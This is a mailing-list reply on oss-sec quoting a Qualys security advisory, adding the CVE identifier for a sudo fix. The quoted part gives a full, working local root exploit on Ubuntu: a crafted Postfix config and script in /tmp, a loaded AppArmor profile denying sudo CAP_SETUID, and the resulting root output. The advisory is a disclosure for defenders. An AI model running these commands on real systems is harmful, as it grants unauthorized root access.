oss-sec mailing list archives
Re: Re: Multiple vulnerabilities in AppArmor
From: Salvatore Bonaccorso <carnil () debian org>
Date: Fri, 3 Apr 2026 11:03:55 +0200
Hi, On Thu, Mar 12, 2026 at 09:33:57PM +0000, Qualys Security Advisory wrote: [...]
AppArmor + Sudo + Postfix = root
[...]
========================================================================
AppArmor + Sudo + Postfix = root
========================================================================
Did you get your disconnection notice?
Mine came in the mail today
-- Sonic Youth, "Disconnection Notice"
As an unprivileged local attacker, the ability to load, replace, and
remove arbitrary AppArmor profiles is remarkable, but our crucial and
burning question was: can this ability be transformed into an LPE to
full root privileges? Our key idea was to load new AppArmor profiles
that deny certain syscalls to certain privileged programs, and
consequently to create exploitable "fail-open" situations.
From our work on Baron Samedit, we remembered that when Sudo encounters
an unusual situation, it sends a mail to the system's administrator. And
to send such a mail on Ubuntu, Sudo executes /usr/sbin/sendmail as our
unprivileged user, not as root, with our original environment variables
preserved (excluding the obviously dangerous variables such as LD_AUDIT
and LD_PRELOAD, which were removed from the environment by the dynamic
loader, ld.so, before the execution of Sudo's main() function).
From CVE-2002-0043:
https://www.sudo.ws/security/advisories/postfix/
(by Sebastian Krahmer)
we also remembered that if the Postfix mail server is installed on the
system, and if Postfix's /usr/sbin/sendmail is executed as root but with
user-controlled environment variables (in particular, the MAIL_CONFIG
environment variable), then Postfix can be forced by the unprivileged
user into executing arbitrary commands as root.
Our burning question therefore became: if we, as an unprivileged local
attacker, load a new AppArmor profile that denies the setuid capability
(CAP_SETUID) to Sudo (thereby potentially preventing Sudo from dropping
its root privileges before it executes Postfix's /usr/sbin/sendmail),
and if we execute Sudo with a MAIL_CONFIG environment variable that
points to our own Postfix configuration in /tmp, is the /usr/bin/id
command from our Postfix configuration executed as root? The answer:
------------------------------------------------------------------------
$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ dpkg -S /usr/sbin/sendmail
postfix: /usr/sbin/sendmail
$ mkdir /tmp/postfix
$ cat > /tmp/postfix/main.cf << "EOF"
command_directory = /tmp/postfix
EOF
$ cat > /tmp/postfix/postdrop << "EOF"
#!/bin/sh
/usr/bin/id >> /tmp/postfix/pwned
EOF
$ chmod -R 0755 /tmp/postfix
$ apparmor_parser -K -o sudo.pf << "EOF"
/usr/bin/sudo {
allow file,
allow signal,
allow network,
allow capability,
deny capability setuid,
}
EOF
$ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
Password:
$ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
sudo: unable to open /etc/sudoers: Operation not permitted
sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
sudo: error initializing audit plugin sudoers_audit
$ cat /tmp/postfix/pwned
uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
^^^^^^^^^^^
------------------------------------------------------------------------
The surprising sequence of events that led to this LPE as root is:
- in sudoers_init(), Sudo calls setresuid(0, -1, -1) to set its real uid
to 0 (PERM_ROOT), which succeeds because its effective and saved uids
are already 0 (Sudo is SUID-root);
- in open_sudoers() (more precisely, in open_file()), Sudo calls
setresuid(-1, 1, -1) to temporarily set its effective uid to 1
(PERM_SUDOERS), which fails (with EPERM, "Operation not permitted")
because none of Sudo's uids is 1 (they are all 0) and because Sudo
does not have the CAP_SETUID (our AppArmor profile denies it);
- back in sudoers_init(), Sudo calls mail_parse_errors() to send a mail
to the administrator about this setresuid() failure ("problem parsing
sudoers", "unable to open /etc/sudoers: Operation not permitted");
- then, in exec_mailer(), Sudo calls setuid(0) (at line 331 below) to
set all of its uids to 0, which succeeds because they are already 0;
- still in exec_mailer(), Sudo calls setuid(1001) (at line 336) to
permanently set all of its uids to our unprivileged user's uid, which
fails (with EPERM, "Operation not permitted") because none of Sudo's
uids is 1001 (they are all 0) and because Sudo does not have the
CAP_SETUID (our AppArmor profile denies it);
- finally, and despite this setuid() failure, Sudo's exec_mailer() calls
execv() (at line 345) to execute Postfix's /usr/sbin/sendmail with our
original environment variables (including our MAIL_CONFIG), as root
instead of our unprivileged user (because the setuid(1001) to drop
Sudo's root privileges failed).
------------------------------------------------------------------------
284 exec_mailer(int pipein)
...
327 /*
328 * Depending on the config, either run the mailer as root
329 * (so user cannot kill it) or as the user (for the paranoid).
330 */
331 if (setuid(ROOT_UID) != 0) {
332 sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
333 ROOT_UID);
334 }
335 if (evl_conf->mailuid != ROOT_UID) {
336 if (setuid(evl_conf->mailuid) != 0) {
337 sudo_debug_printf(SUDO_DEBUG_ERROR, "unable to change uid to %u",
338 (unsigned int)evl_conf->mailuid);
339 }
340 }
...
342 if (evl_conf->mailuid == ROOT_UID)
343 execve(mpath, argv, (char **)root_envp);
344 else
345 execv(mpath, argv);
------------------------------------------------------------------------
Note: without the ability to load an AppArmor profile that denies the
CAP_SETUID to Sudo, this "fail-open" situation in Sudo would not be
exploitable, for the reasons explained in the "execve() and EAGAIN"
section of "man execve".
Last-minute note: while writing a mail to Sudo's maintainer about this
"fail-open" situation, we noticed that it was independently discovered,
reported, and fixed in November 2025 (commit 3e474c2):
------------------------------------------------------------------------
exec_mailer: Set group as well as uid when running the mailer
Also make a setuid(), setgid() or setgroups() failure fatal.
Found by the ZeroPath AI Security Engineer <https://zeropath.com>
------------------------------------------------------------------------
Slightly disappointed by this user-space LPE (because Postfix is not
installed by default on Ubuntu anymore), we decided to explore one more
idea: maybe AppArmor's kernel code contains vulnerabilities that can be
exploited in kernel space by loading, replacing, or removing arbitrary
AppArmor profiles?
To close the circle here: sudo has a own CVE for the issue addressed above, it is CVE-2026-35535. https://www.cve.org/CVERecord?id=CVE-2026-35535 Regards, Salvatore
Current thread:
- Re: Multiple vulnerabilities in AppArmor Greg KH (Apr 01)
- <Possible follow-ups>
- Re: Re: Multiple vulnerabilities in AppArmor Salvatore Bonaccorso (Apr 03)
- Re: Multiple vulnerabilities in AppArmor Qualys Security Advisory (May 20)
